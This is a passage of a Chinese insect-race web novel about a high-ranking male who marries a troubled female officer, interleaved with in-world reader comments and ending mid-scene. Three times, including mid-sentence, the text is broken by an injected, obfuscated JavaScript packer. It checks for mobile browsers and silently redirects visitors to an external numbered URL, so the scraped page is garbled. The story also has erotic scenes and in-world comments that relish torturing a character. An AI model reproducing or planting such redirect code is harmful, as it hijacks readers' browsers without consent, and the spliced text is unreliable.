跟随这位阁下一起来的雌虫当然也是特别帅气的那一挂。 但以接待员在婚姻所服务各位雄虫和他们的雌君的眼光来看——他的衣着打扮太普通了!状态太过憔悴!连神情都很不自然! 结婚、而且成为雌君,绝对是雌虫一生中最重要的大事。 哪个不是穿上最隆重华贵的礼服,将头发丝都打理得一丝不苟,以最好的状态来迎接这一天?更注重外表些的,甚至还会化上妆。 而他呢?不说换一套正装礼服和好好打理自己了,他眼里甚至还有血丝!一副熬夜颓废好几天的样子。 像是突然被从街上拉过来结婚的,各方面都显得仓促。 这副模样,如果是被登记为雌侍、亦或者私下烙印为雌奴的话,其实并不显得奇怪。 但在这个大都是登记为雌君的婚姻所里,就太突兀了! 尤其是在他身边的雄虫阁下如此光鲜亮丽、尊贵非凡的情况下。 接待员不得不多问了一句: “请问,是做雌侍登记,还是做雌君登记?” 席安闻言凝眉,沉下脸。 他不喜欢这句话。 贬低了克莱尔,也贬低了他。 “你是觉得,我不知道在线上就能做雌侍登记?” 席安冷声问。 “你的提问让我很质疑你的专业性,如果你连这些都做不好,请换一只虫来。” 天大地大,雄虫阁下最大。 惹到雄虫阁下生气了,别管专不专业,立刻换虫。 新换上的雌虫接待员对雄虫露出礼貌的微笑,将两份光屏文件递到他们面前,言简意赅地道: “这是娶雌君的婚姻登记表,请二位进行填写。” 席安正要拿起笔填写,克莱尔猛地拉住他,急切道: “阁下!这不合适!” 一开始,克莱尔也想过,席安会不会是有其他的事要办,又或者就是想在婚姻所进行雌侍登记。 如果是这样,他会很感激席安对他的看重。 但当席安和接待员交流、当他真的拿起笔要填写雌君登记,他骤然慌了神。 席安面上表情沉下来。 原本被接待员那么一说,就已经很影响心情了。 克莱尔的拒绝更让虫不高兴。 “能有什么不合适?” 席安沉着脸问。 要说不合适的地方,那可多了去了。 克莱尔能说出许多来。 家世,身份,年纪,军衔,财富,权势…… “我并不足以匹配您的雌君之位。” 克莱尔轻声道。 如果再多给他一些时间,他或许能达到那个高度,获得向席安求婚的资格。 但他已经没有时间,也没有资格。 “麻烦!” 席安懊恼,低骂了声。 克莱尔低垂下眸,安静,顺从。 他也觉得自己给席安带来了麻烦。 席安有时嘴上不饶虫,但他本质是个心地善良的好虫。 只因为他需要精神梳理,他就决定娶他。 他已经够添麻烦了。 若是再因为这个,把席安的雌君之位都占了去,克莱尔自己都觉得无颜面对他。 接待员也是第一次遇到这种情况,一时不知该怎么办。 居然有这样奇怪的雌雄伴偶。 身份尊贵高等雄虫执意娶雌虫当雌君,雌虫居然还拒绝?! 脑子坏了吗? 现在的情况看起来就像是: 雄虫小少爷爱上落魄雌虫,为爱奋不顾身。 简直比幻想小说还玄幻! 果然在婚姻所待久了,什么样的虫、什么样状况都能遇到! 接待员的职业素养让他想要出声劝说调和,但他的直觉又告诉他,最好在这时候闭嘴。 席安自己平复呼吸,将心情调整过来。 他当然知道克莱尔说的“不匹配”指的是什么。 那些虫族社会所公认的、作为雌君应该拥有的东西。 也是席安最不在意的东西。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679367|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听好了,克莱尔。” 席安面对他,扣住他的手臂,与他错愕抬起的眼睛相对,声音认真而坚定。 “我要娶是你这个活生生的虫,而不是那些死物!” 克莱尔蓦然瞪大眼睛,耳边的所有声音都消失了,脑内的嗡鸣也随之停止,可他什么都感觉不到,就连胸腔中心脏的跳动都变得很远很远。 ……】 评论区难得静默了好一会,旋即爆发更加激烈的讨论。 [嘶……天,我听到了什么?我看到了什么?] [娶的是你这个活生生的虫,而不是那些死物……这、这……世界上为什么会有这么动听的情话?我要被迷晕了。] [更重要的是,这不仅是情话,席安阁下是真要娶他当雌君,将情话变成了事实!] 随口就来的情话谁都能说,真的能将其实现、化作事实,却少之又少。 [克莱尔怎么回事,雄虫阁下跟他说这些,他又没魂了!] [换我在我也会没魂的,天啊,我现在都感觉我整只虫是飘着的,难以想象直接听到席安阁下亲口说的克莱尔会是什么感受。] [我不相信!我不相信!席安阁下真的是雄虫吗?怎么会有这样的雄虫?] [我更好奇作者到底是怎么想出这些情节和对话的?虫族想象不出没见过的东西,作者居然能写出席安阁下这样的雄虫,他的大脑是怎么长的?] [(打赏量子炮x5)完了,我的手又不受我控制了,明明是这么不符合常理的情节,我居然看得这么爽?] [不要相信,不要相信,文字会欺骗你的眼睛和思想。席安阁下一定有他的计划,娶克莱尔当雌君不过是计划的一部分罢了!] [雄虫都是这样的,婚前总会挑着好听的说,婚后就变脸了。] [可总要图点什么吧?克莱尔的军衔、军功、还是他这些年积攒下来的积蓄?那些对于一个首都星出生的高等雄虫来说,根本什么也不是!] [那些你们认为很有价值的东西,在席安阁下眼里同样什么都不是,只是“死物”罢了。] [难道……席安阁下真就是图克莱尔这只虫?总不可能是图他乱糟糟的精神域吧?] 说到这,雌虫读者们也不由开始认真分析起克莱尔来。 [长相帅气,身材好,面容冷肃,带着从战场上下来的戾气,眼里有血丝,有些憔悴,疲惫又凶厉……原来雄虫阁下喜欢这一款?] [感觉就是标准的军雌,可能比一般军雌要帅气点?但高等雌虫的等级摆在那里,丑也不会丑到哪去,应该区别不大。难道是气质上的差别?] [雄主看我!我也是冷肃凶厉的军雌款!我也刚从战场上下来,皮实耐操!] 迷恋雄虫、对雄虫抱有幻想、想从书中学到些知识的雌虫,在这里停下讨论。 讨论的内容越发出格,字里行间仿佛都散发着雌虫发晴的信息素。 而另一些坚信雄虫阁下有自己的计划、一定会在婚后狠狠折磨报复克莱尔的读者,已经急匆匆往后阅读。 他们才不相信雄虫阁下会喜欢克莱尔。 去分析学习这种知识,毫无用处。 【…… 姓名:席安 性别:雄 等级:A+ 家庭成员 雌君:克莱尔 雌君,克莱尔。 看着个虫信息页面更新出来的内容,席安难以抑制住嘴角上翘。 再往下瞥一眼,幼崽那一栏空空荡荡。 席安抬头,看向同样正盯着自己的个虫信息页面出神的克莱尔。 克莱尔注意到他的目光,忙收起光屏。 “阁下……” 该改口了。 席安想。 不过没关系,不急于这一时。 现在更重要的是…… 席安牵起克莱尔的手往外走。 “走,回去睡觉!咳,我是说……回去给你进行精神梳理!” ……】 8. 小说爆火 新章带来的反响远比第一章要大得多。 最开始雌虫们看到简介和首章,想的也只是主角必定会被雄虫报复。 至于身份地位,最多也就雌侍,甚至雄虫可能根本不会娶他。 结果第二章出来,让所有虫都大跌眼镜。 雌君,居然是雌君。 身份尊贵的高等雄虫,娶一个毫无背景的上校为雌君?! 那只雌虫甚至连精神域都是坏的,简称脑子有病,危险性极强。 就算勉强理解成是为了报复虫做的前期投入,这个投入也太大了些。 大到相当于雌虫将全部资产投进去,去赌一个不确定的婚姻。 席安阁下说:我要娶的是你这个活生生的虫,而不是那些死物。 这句话在一夜之间刷爆全网。 成为公认的虫族最美情话。 就连原本不关注小说的虫都刷到了这句话,询问了解之后,慕名前来观瞻。 《教官》一书,陡然爆火。 这些事,安若还不知道。 他正忙着做精神梳理和布置自己的小窝。 他治疗的军雌数量一天比一天多,都是他主动要求增加的。 弄得乌列尔少将现在比他自己还在意他的身体,生怕他出事。 今天更是强制规定他每天最多做三个星时精神梳理,不得超过这个时间。 留足时间给他恢复休息。 精力药剂也是不要钱一样往他这送。 食物也是越来越丰盛。 安若甚至吃到了神似药材的味道。 大概是怕他累虚了,给他安排上了食补。 “……” 这种感觉就很奇怪。 他从星网上了解到,军区监狱的雄虫都是天天灌补品,不过一般是那方面的补品。 同样被安排上补品的安若心情复杂,有一种想说什么又不知道该说什么的憋屈感。 我真不虚!!! 安若脑子里的Q版小人在抱头呐喊。 军雌们当然不会相信。 安若也没法面对乌列尔那双忧虑的眼睛。 算了,反正挺好吃的。 安若选择屈服。 这些天做精神梳理给他积攒了两百多点贡献点。 安若查了一下减刑需要的贡献点,再代入他那999年的刑期一计算,发现那是个天文数字后,他就彻底放飞自我了。 出去肯定是出不去了。 虫族的平均寿命是500年,高等虫族能活更久。像是A级虫族的正常寿命可以达到700~800岁左右,这差不多就是普通虫族寿命的极限。 S级及其以上那种突破极限的变态个例不算在内。 他这个刑期的设置就是让他一辈子待在监狱里的意思。 比无期徒刑还无期。 相当于商品的防拍价。 反正出不去,贡献点不然用来做别的。 兑换一些改善生活的物资。 安若手指一点,用贡献点换了一台眼馋已久的全息舱、一套更舒适的桌椅、几盆摆在桌上装点房间的小花,还有许多他所好奇的虫族水果和零食。 他还在水果中看到了草莓! 虫族居然真有这个,天知道他写的时候只是顺手写的。 写文的时候下笔如有神,所有文字一气呵成。 写完后看着“草莓”这个过于熟悉的字眼,他其实犹豫过要不要删改,但最后还是依照本心保留了下来。 没想到虫族竟然真有这个。 带着一些隐秘的希冀,安若登入星网,查找草莓来源。 这确实是一种从外星系引入的水果,辗转过几个不同的种族和国家,具体起源地早已不可考。 没有地球,没有银河系,没有他所熟知的一切。 看到这个结果,安若不知该遗憾还是该松一口气。 遗憾这只是“小说”世界,他永远回不去也看不到他所熟悉的家园。 庆幸这只是“小说”世界,地球人类没有真的跟凶悍的虫族生活在同一个宇宙。 那也太吓人了。 安若晃晃脑袋,将那过于凶残的画面驱逐出脑海,并祈祷这两个世界永远分割得清晰明白,永远不要相遇。 他感慨了一会,就将这件事抛到脑后,继续布置他的房间。 随后收到了贡献点退回的通知。 安若:“?” 正不解着,乌列尔就带着虫将他选定的东西送了过来。 “安诺阁下,您有什么需要直接跟我们说就行,不用浪费宝贵的贡献点。” 乌列尔向他解释。 安若了然。 雄虫的优待。 这反倒让他有些无所适从。 贡献点兑换和跟虫面对面交流、提出自己想要什么,反倒是前者更让他容易接受。 就像网络购物一样,钱货两清,也没有心理压力。 是让他舒服的交易方式。 而且贡献点他拿着也没什么用处。 乌列尔不知道他的想法,这样做也是对方好意,硬要拒绝就不合适了。 安若将东西收下,说了声“谢谢”。 至于以后怎么办,以后再说吧。 听到雄虫说谢谢,乌列尔忍不住侧目,神情复杂。 雄虫从小就被宠着捧着,对于其他虫的付出和给予也大多是理所当然的态度,更甚者直接就是恩赐的态度。 会道谢的雄虫很少,会为了这么点小事道谢的雄虫更是少之又少。 这样礼貌又懂事的雄虫到底为什么…… 如果不是了解长官的为虫,乌列尔都要怀疑其中有什么阴谋或嫁祸了。 这样想,对身为受害者的尤利西斯元帅太不尊重。 乌列尔深感惭愧地收回思绪,转而对雄虫道: “今天是本月最后一天,根据军区监狱条例,每月的最后一天允许探视和跟其他虫见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679368|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。” 很遗憾,并没有亲朋来探视“安诺”。 在他与尤利西斯元帅的案件判决下来之时,过往与他相识的所有虫就都忙不迭割席了,生怕受到牵连。 但有另一群早早等候、渴望见他一面的虫。 那些接受过他精神梳理的军雌。 “军雌们很感谢您的治疗,他们带来了礼物,想要向您道谢,您要见见他们吗?” 安若想象了下那个场景。 医生和治疗过的患者们见面,背后挂着大大的横幅,患者们感激涕送上礼物和锦旗,与医生握手,最后一起拿着“感谢神医救我虫命”的锦旗合影,闪光灯不断。 只是想想就能尴尬得抠出两室一厅。 社恐选择原地升天,逃离这个星球。 “还是算了,我不爱这种交际,麻烦您帮我回绝。为他们治疗本就是我分内的事,他们的心意我已经收到,别的就不用了。” 就他这个假医生,没闹出医疗事故就已经很庆幸了。 不敢奢求更多。 乌列尔表示明白。 这是个不喜欢热闹的雄虫。 “我让他们回去,礼物收下,给您送来。” 礼物? 安若心中犹豫。 医生能收礼物吗? 乌列尔看出他的犹疑,赶紧道: “这是军雌们的一片心意,还请收下,不然他们会抓心挠肺得觉都睡不着。” 在军区监狱里,军雌送雄虫礼物是非常正常的事情。 雄虫的生活的绝大部分物品都是军雌所赠送。 从身上穿的衣服、吃的食物,到鲜花宝石配饰奢侈品玩具星币……应有尽有。 如果安诺进行精神梳理的地方,不是在他盯着的治疗室,而是在他自己的房间床上,他这里早该堆满各个军雌赠送的礼物。 安若犹豫着点头同意,最后叮嘱: “贵重物品退回去,水果鲜花之类的可以收下。” 水果、鲜花,乌列尔记下。 雄虫先前用贡献点兑换的物品里也有这些,看来他很喜欢这些事物。 真是小清新的喜好。 或者说太简单便宜了。 出乎虫意料。 要知道,雌虫向雄虫示好向来都是很烧钱的。 …… 乌列尔一走,安若立刻扑向全息舱,好奇地这看看、那摸摸。 这可是高高高科技! 军雌们已经帮他把全息舱安装好,就是连说明书都没留下一份。 大概他们也没想到现代社会还有虫不会用全息舱。 安若只能在星网上搜索使用方法,根据这提供给小幼崽的教程,一步步摸索使用。 他躺进全息舱里,好奇地试用各种功能,不断被这星际时代的技术震惊到“哇呜”惊呼。 然后…… 开始用全息舱写小说! 作者的终极梦想——脑电波输入! 9. 雄虫新兵x昔日教官5 “你们看那本书了吗?对,就是那本,教官和雄虫……” 《教官》一书在雌虫中飞速传播开来,雌虫们难掩激动地跟身边虫讨论,自发卖安利。 “首都星高等雄虫阁下娶了个精神极危的军雌上校当雌君。” “身份、财产、权势,这些当雌君最重要的东西,席安阁下都不在意,他说他要娶的是那只活生生的虫,而不是那些死物。” “不是吧?这是什么?给小幼崽看的童话故事吗?” 初听到这些内容的雌虫都觉得离谱困惑。 “童话故事都不会写这么虚幻的事情好吧?童话里嫁给雄虫皇子的灰翅雌虫本身就是大贵族出身。” 虫族幼崽都有传承记忆,一出生就知晓很多事情,给他们构建太虚幻美好的世界反而不合适。 幼崽也会觉得那太假了,充满割裂,无法理解。 于是,连虫族的童话都充满了“现实”。 有虫理智分析: “这样家世普通的军雌上校嫁过去给高等雄虫当雌君,没有足够的手腕和财力,婚后也镇不住其他雌侍,最后被雄虫厌弃、地位不保,也是迟早的事。” 有虫直接表示: “今晚梦这个!” 也有虫仍然坚持: “这只是报复计划的一部分!席安阁下有自己的节奏!!!” 无论怎样,知道《教官》的虫还是越来越多,更多的虫慕名去看。 就连一向对虫族小说不感兴趣的雄虫们都有所听闻。 “听起来像是雌虫做梦写的书。” 初听闻的雄虫不屑一顾。 但也有真正去看过的雄虫激动表示: “真的不一样,这本书里的雄虫是——雄虫!!!” 雄虫是雄虫。 很莫名其妙的一句话。 但只要看过虫族小说的雄虫们就能迅速理解其中的含义。 因为雌虫们写的小说里的雄虫真的……很不雄虫。 甚至都不像虫了。 像是披着雄虫壳子的奇怪生物拟虫。 要么冷酷无情且呆板得像个机械生命体。 要是直接是暴力狂强x犯、变态杀虫狂魔。 还有另一种娇弱智障款,成天哭哭啼啼,什么事都办不好,只会哭着找雌虫,像是脑子发育不完全。 让雄虫根本看不下去,毫无代入感。 雄虫们根本无法理解雌虫的脑回路,就像雌虫写出来的雄虫像是另一个物种一样。 “雄虫也是虫,有自己的情感和喜怒哀乐,不是机器程序!”有雄虫愤怒表示。 “雄虫一辈子见的血都没有军雌在战场上一天见的多,拜托不要打着写雌虫感情文的幌子写血腥恐怖小说!很吓虫!把剥皮拆骨的内容写那么详细,你们才是真正的变态杀手吧?” “娇弱智障已经不想评价了。雄虫精神力普遍高于同等级雌虫,能跨两个等级进行精神梳理,B级雄虫理论上能为S级雌虫进行精神梳理。智障这个结论到底是怎么得出来的?” 小说里雌虫和雄虫的差异大得不像是两个性别,而是两个物种。 而《教官》这本书中的雄虫不一样,他居然真的是雄虫。 他不是模板化的程序或变态杀虫狂,他有自己的喜怒哀乐,甚至有自己的思想和情感。 天呐,虫族的小说里居然能看到雄虫的心理描写! 这是多么不可思议的事。 雌虫哪里能写得出雄虫的想法? 他们认知中的雄虫都已经是另外的物种了。 虽然没对外说出来,但看过这本小说的雄虫心里都认为:写这本书的作者一定是雄虫。 而雌虫的想法则完全不同的想法。 他们坚信这是个白日梦幻想雌虫写的。 写的很虚幻,很假,甚至有些抽象,让虫无法理解,但又不得不承认……很爽。 因为“雄虫是雄虫”这句话,许多雄虫也怀着好奇地心点开了这本书。 小说热度空前高涨,评论区讨论氛围热烈。 与这氛围完全相反的,只有席安爱慕者群。 这里满地悲切,悲戚得仿佛被雄虫厌弃甩了。 〖席安阁下的雌君〗:“为什么?为什么!雄主的雌君栏里为什么写着其他雌虫的名字!哇地一声哭出来(猛雌痛哭)——” 〖席安阁下的正牌雌君〗:“我才是真的呀!雄主,我才是您雌君!克莱尔是假的,假的!” 〖最受席安阁下宠爱的雌侍〗:“嗨?咱就是说,没必要吧?不说这只是小说,就算席安阁下真娶其他雌虫了也很正常啊,雄虫本来就不可能只娶一只雌虫。” 〖席安阁下的雌君〗:“你当然不在意,你的目标就只是当个妖艳贱货雌侍而已,没志气的家伙。” 〖最受席安阁下宠爱的雌侍〗:“???总比你们这些做白日梦认不清自己的强,雄主跟你们说过一句话吗?” 〖雄主你要幸福啊〗:“就别互相嘲笑了,大家都彼此彼此,互相伤害也没意思。” 继续聊下去也没意思。 群里的都是伤心虫,今晚注定是个不眠夜。 只能等明天席安阁下来军部,看着他的身影聊以慰藉。 很快就有消息灵通的军雌收到消息。 ——席安阁下请假了,请的是婚假。 晴天霹雳! 整个第九军团的未婚雌虫都傻了。 “怎么回事?这消息保真吗?怎么突然就婚假了?之前根本没听说任何风声啊!” “保真,我在军团长办公室亲眼看到的,而且席安阁下今天一整天都没来军部。” 天塌了。 彻底塌了。 小说里席安阁下娶克莱尔。 现实里席安阁下请婚假。 军雌嘴角苦涩。 “所以,席安阁下是回首都星结婚了吗?” “总不可能是去跟克莱尔上校结婚,哈哈……” 笑不出来,太苦涩了。 小说和现实双失恋,打击太大。 “不知道席安阁下还打不打算娶雌侍……” 高等雄虫总会娶雌侍,这不是他想问的问题。 问题是名额太少了。 这才是真正的“千军万马过独木桥”。 机会难求。 第九军团的军雌们体验了一波未婚失恋。 夜里辗转难眠之际,收到收藏订阅提醒。 ——《教官》更新了。 【席安征询过克莱尔的意见后,将他带回他在翡翠星的住处。 其实他对克莱尔家也很好奇,想去看看。 但克莱尔神情很不自然地表示他家里正在重新装修,不适合居住。 雌虫的破坏力很强,尤其是精神极危的雌虫。 克莱尔这几天在迷糊中拆了几次家。 他误以为自己还置身于战场,瞬间释放出的翅翼将衣柜切割分解,还毁坏了一面墙。 虫族的维修队几乎每天都要上门,给他补齐家具,修缮房屋。 所有家具都换成了结实耐用的合金材质,但仍挡不住雌虫强大的拆家能力。 克莱尔再次意识到自己有多么危险。 跟席安结婚或许不是一个好主意。 他或许会把席安的家也拆了。 又或者会伤到席安本身。 他应该被戴上抑制器,锁住手脚,关在惩戒室里。 但席安将他带到主卧,他的房间。 “我先请个婚假,以及还有些东西要准备……你先休息会,有什么需要叫机器管家,我很快回来。” 席安捏了捏他的手,有些不舍地离开。 克莱尔只觉得被席安牵过的手烫得厉害。 血液连通心脏,连带着心脏都烫了起来。 席安去准备了…… 是要准备一些东西。 抑制器,锁链,鞭子,刀,肌肉松弛剂,或者某些别的药物…… 对付一个精神极危的雌虫,这些东西很重要。 克莱尔心口的热度冷却了些许,却也悄悄松了口气。 至少这样他就不用担心伤到席安。 其实还是紧张的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679369|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>面对未知的一切,多多少少会有一些不安。 他也不确定自己现在的状态是否承受得住。 很难通过雄虫的外表,判断其在床上的风格。 但以席安过往与他的旧怨,和跟他针锋相对对着干的态度来看,今晚绝对不会好过。 即使如此,克莱尔也没有逃避的想法。 不管落下的是鞭子还是利刃,他都会全然接受。 这本就是他应得的。 克莱尔很快就没精力去想太多。 隐隐绰绰的信息素萦绕在周身。 这里是席安的房间,有席安睡过的枕头、盖过的被子、用过的浴室…… 床被间隐约残留的香甜信息素让克莱尔头晕目眩,身体发热。 心跳加速,不自觉感到紧张。 席安今晚会享用他吗? 克莱尔抿唇,忐忑看向那张床。 席安有着在军区生活留下的习惯,房间收拾得整洁干净,枕头和床单上不见一丝褶皱。 过于整洁了,甚至透着些冷淡风。 但残留的信息素很热情。 很容易让雌虫想到一些带有颜色的东西,根本冷淡不起来,只觉得格外地热。 克莱尔伸手扯开领口,解下一颗扣子。 他想,他或许应该先去洗个澡。 对,他真该好好打理一下自己。 克莱尔回想自己的形象,总觉得各方面都不满意。 如果早知道今天会碰见席安、还会跟对方进行婚姻登记,他绝对不会就这样出门。 若是跟其他雄虫见面,克莱尔认为自己穿得已经足够正式尊重。 但另一方换成席安,就怎么都觉得不够,他能从自己身上挑出一堆毛病。 不够时尚,对雄虫缺乏吸引力。 这是致命的。 还有那个跟他基因匹配的雄虫…… 想起这个,克莱尔就感到头疼。 还有一种近乎慌乱的心虚,像是做贼一样。 他和基因匹配的雄虫有约,席安也和某位雌虫有约。 最后却是他们两个去结婚了。 这都什么事啊…… 忽略因想起席安约了雌虫时心里那一瞬的别扭酸涩。 克莱尔打开终端,打算向那位雄虫阁下解释。 席安作为雄虫,丢下雌虫没关系。 他爽了雄虫的约却是很严重的事,需要一个解释,并且赔礼道歉。 最重要的是,他现在是已婚雌虫。 必须赶快跟对方说清楚,把关系切割得清楚明白,不能让这种事影响他雄主。 他雄主……席安。 这个关系让克莱尔心里泛起一丝甜意。 克莱尔打开聊天页面。 本以为会看到雄虫对他爽约的指责谩骂,结果却什么也没有,反倒是雄虫的信息对他全部可见了。 为保护雄虫的隐私,雄虫的信息不会完全展示给基因匹配的雌虫。 除非……双方看对眼,缔结婚姻。 克莱尔呼吸微滞。 他看到了雄虫显示出来的头像。 拍摄背景是在军区训练室。 雄虫握枪射击的姿势,是他最熟悉不过的样子。 漂亮明艳,美得极具攻击力,就如枪口.射出的子弹,直击靶心,也直击心脏。 席安…… 跟他基因匹配的虫是席安?! 也就是说,席安今天一开始约的虫就是他? 说不出的惊喜与庆幸涌上心口,克莱尔突然想起了那张被他刻意忽略的基因匹配报告。 他赶紧将报告翻出来,看到那上面99.9%的适配度。 这是一个极高的适配度。 几乎是基因都在说他们应该结合、孕育后代。 这个适配度放在陌生雄虫身上,他心中莫名抗拒,不愿面对,也不知所措。 但如果是席安…… 他忍不住想,席安会喜欢幼崽吗? 那种红色头发的、绿色眼睛、像小草莓一样甜蜜可爱的幼崽。 ……】 10. 雄虫新兵x昔日教官6 【席安一进卧室,就看到仅穿着一件睡袍的克莱尔跪在门口。 说实话,刚洗完澡头发微濕的雌虫挺好看的,清清爽爽像冰激凌,但这姿势还是把席安吓了一跳。 “你这是做什么?” 席安忙走过去扶他。 “侍奉您,等候您享用。” 地上的克莱尔道。 按理来说应该什么都不穿跪着。 但这是他们的第一晚,克莱尔不了解席安的喜好,怕贸然这样做反而让席安觉得他孟浪。 于是谨慎地从空间纽里取了件睡袍穿上。 席安悄悄捂了下鼻子。 一本正经地说这么涩的话,也太撩了吧? 但他还是坚持将克莱尔拉起来。 “快起来,我们家没这些规矩,真要等的话,你以后可以直接在床上等着。” 这话听起来像他只想睡雌虫一样。 像是脑子里只有那种事的精虫雄虫。 席安又赶紧补充了句: “沙发上也可以,你想在哪里、做什么都行。” “是。”克莱尔应下,心里想的却是,席安的意思是他可以去这座别墅的任何地方?还是说他将要在所有地方享用他? 不管是哪一个都很好。 克莱尔尊重规则,适应规则,但本质不是传统古板的雌虫,没有什么必须在床上才行的想法。 尤其是对象是席安的时候,哪怕让他直接在地上被享用,他也愿意。 “要喝点饮料吗?”席安问。 “嗯,好。”克莱尔当然不可能拒绝雄虫的提议,哪怕他更想立刻被雄虫吃掉。 席安打开一旁的储藏柜,拿出一瓶颜色鲜红的果酒,倒了一杯,递给克莱尔,就只是看着他喝。 其实在他原本的计划中,他应该和克莱尔一起品着酒,吃着有情调的烛光晚餐,聊着他们的未来和过去。 但克莱尔洗得香香的、身上既清爽干净又濕漉漉、还只穿着睡袍站在他面前,席安发现自己根本忍不了,也等不了这么久。 晚餐一边去吧,反正虫族几天不吃东西也没问题。 克莱尔在雄虫的热切注视下将一整杯酒都喝了下去,喝得太急,其实根本没尝出这酒是什么味道。 但不重要了,因为在他喝完、一滴酒液滑过唇角时,席安就凑过来亲他。 酒精影响不了雌虫,但当轻软温热的触感落在唇上,浅淡的香甜信息素随着雄虫一同探入口中,搜刮走了他的所有理智。克莱尔觉得自己醉了,身体飘飘然,脑子里雾蒙蒙的。 他也终于尝出来了那酒的味道,是草莓酒。 席安将克莱尔推倒在床上,一边继续亲他,一边去解他的睡袍系带,信息素不再收敛地释放而出。 然而当高浓度的香甜信息素充斥整个房间时,克莱尔身体骤然紧绷,猛地咬破了舌尖,同时抬腿踹向身上的雄虫。 要不是席安身手敏捷反应迅速,还真要挨上这一脚。 席安转头看向克莱尔,气氛有些许凝滞。 他看得出克莱尔那一脚没用多少力气,不至于踢断他肋骨,但至少会让他摔下床。 被雄虫信息素弄软了的雌虫,还能在床上踢雄虫,这本身就很不合理! 这更何况这代表着明确的拒绝。 席安很生气。 “你踢我?你不想被我碰!?” 第一次被虫这样拒绝,那只虫还是克莱尔,席安恼羞成怒,咬牙切齿,几乎想要用牙齿撕了他。 是的,克莱尔确实只是为了精神梳理才跟他结婚。 但他们已经结婚了! 是合法婚姻配偶。 军雌的精神域难以打开,雄虫先凿开军雌的身体,再进入雌虫精神域,也是很正常的流程,通常没有军雌会拒绝。 婚后得不到雄主的精神梳理、只能乔装打扮去黑市找精神梳理师的雌虫除外。 可克莱尔居然拒绝他? 席安说不清自己现在究竟是愤怒更多,还是难过更多。 但他想活撕了克莱尔的心都有了。】 突如其来的变故,震惊了席安,也震惊了追文的读者。 [???] [克莱尔在做什么?他疯了吗??!] [那可是A+级雄虫!能跟这么出色的A+级雄虫睡觉,多么可遇不可求的机会,他居然还拒绝?!] [哪怕不提等级,席安阁下也是他的雄主,新婚之夜拒绝雄主?也就是现在没有管教所了,不然克莱尔高低得进去。] [我急死了!我真的急死了!克莱尔你不行别占着位置,让我来!] 评论区的讨论第一次完全一边倒。 雌虫们恨不能把克莱尔从书里拽出来,自己以身相替。 但这显然是做不到的,于是攻击克莱尔的言论越发激烈。 [他彻底激怒了席安阁下,席安阁下要把他活撕!] [这也是他活该,刚对他升起的一点同情羡慕立刻被他自己作没了,他就该被狠狠折磨报复!] 席安想把克莱尔“活撕”了。 雌虫读者理解的就是物理意义上的活生生撕碎。 这在虫族中也算是酷刑。 但这一刻没有虫同情克莱尔。 甚至还有雌虫在出谋划策。 [要戴上抑制器,阻隔他的自愈能力,不然以高等雌虫的身体素质,瞬间就痊愈了。] [肌肉松弛剂也得用上,免得他反扑。] [席安阁下来自军部,肯定知道怎么划开虫的肌肉血管,给虫带来最大的痛苦……] 第一次追更的雄虫忍不住皱眉。 评论区说的那些太过血腥了。 但这样不识好歹的雌虫,确实要被狠狠教训才行。 他们对其他虫族小说的里的雄虫毫无代入感,也不会在意他们在书桌中的遭遇。 但席安不一样。 他们能感受到他的喜怒哀乐,也能体会到他对克莱尔的情感,也就越发为他不值。 [(打赏量子炮x1)结束这场闹剧吧,该让雌虫认清自己了。] [别在卧室里,弄脏床很烦,去惩戒室。] [唉……小雄虫什么都好,眼光太差了。] [我不喜欢这种情节,看了晚上会做噩梦,明天让我雌君告诉我结局算了。] 雌虫读者的关注点则完全跑偏了。 [楼上是雄虫吗?居然有雄虫会看小说?] [都有雄虫的身份标记,肯定是真的,这个可造不了假。果然,像克莱尔这样的雌虫根本不会有雄虫喜欢,席安阁下一定是被蛊惑了!] …… 【克莱尔脑袋嗡嗡,完全是懵的。 嘴里的血腥味和舌尖疼痛唤醒了他的理智。 ——他咬破了自己的舌头,幸好不是席安的。 想起自己刚刚做的事,克莱尔既惊慌又害怕,忙起身去查看席安的情况。 席安“啪”地拍开他伸来的手,满是怒火的眼睛瞪着他。 他需要一个解释。 克莱尔面色惨白。 “对不起阁下,我……我也不知道自己是怎么了……” 房间内充斥的高等级雄虫信息素弄得他身体发软,泛滥不已,想要被雄虫狠狠标记侵占。 可他的本能与潜意识中又有什么在叫嚣着远离。 不可接触,不可沉迷,仿佛连靠近都是对对方的冒犯。 在雄虫的信息素下,克莱尔甚至没法控制自己身体本能的反应。 “求您将我的手脚锁起来,再戴上抑制器……这样就不会再出现刚刚的情况。” 克莱尔颤声祈求,希望能平复席安的怒火,挽回雄虫。 他的提议让席安脸色难看。 那跟强x有什么两样? 